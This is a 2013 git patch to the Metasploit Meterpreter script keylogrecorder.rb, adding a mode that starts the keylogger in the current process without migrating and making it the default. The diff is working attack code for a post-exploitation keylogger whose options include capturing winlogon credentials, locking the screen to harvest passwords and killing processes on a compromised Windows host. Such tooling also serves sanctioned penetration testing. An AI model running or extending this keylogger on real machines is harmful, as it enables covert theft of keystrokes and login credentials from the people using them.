From 9e0d17c9211ea4b01f2c68bc3add0a622f455f37 Mon Sep 17 00:00:00 2001 From: shellster Date: Fri, 22 Mar 2013 10:57:10 -0700 Subject: [PATCH] Update keylogrecorder.rb Added new -c option for value 2, which will start the keylogger in the current process instead of attempting to migrate. I also made this setting the default. --- scripts/meterpreter/keylogrecorder.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 0bddc5cdc5..11bce12b62 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -8,7 +8,7 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], - "-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ], + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], "-l" => [ false, "Lock screen when capturing Winlogon credentials."], "-k" => [ false, "Kill old Process"] ) @@ -40,7 +40,7 @@ logfile = logs + ::File::Separator + host + filenameinfo + ".txt" keytime = 30 #Type of capture -captype = 0 +captype = 2 # Function for locking the screen -- Thanks for the idea and API call Mubix def lock_screen print_status("Locking Screen...") @@ -191,7 +191,11 @@ kill = false end } if client.platform =~ /win32|win64/ - if explrmigrate(session,captype,lock, kill) + if (captype.to_i == 2) + if startkeylogger(session) + keycap(session, keytime, logfile) + end + elsif explrmigrate(session,captype,lock, kill) if startkeylogger(session) keycap(session, keytime, logfile) end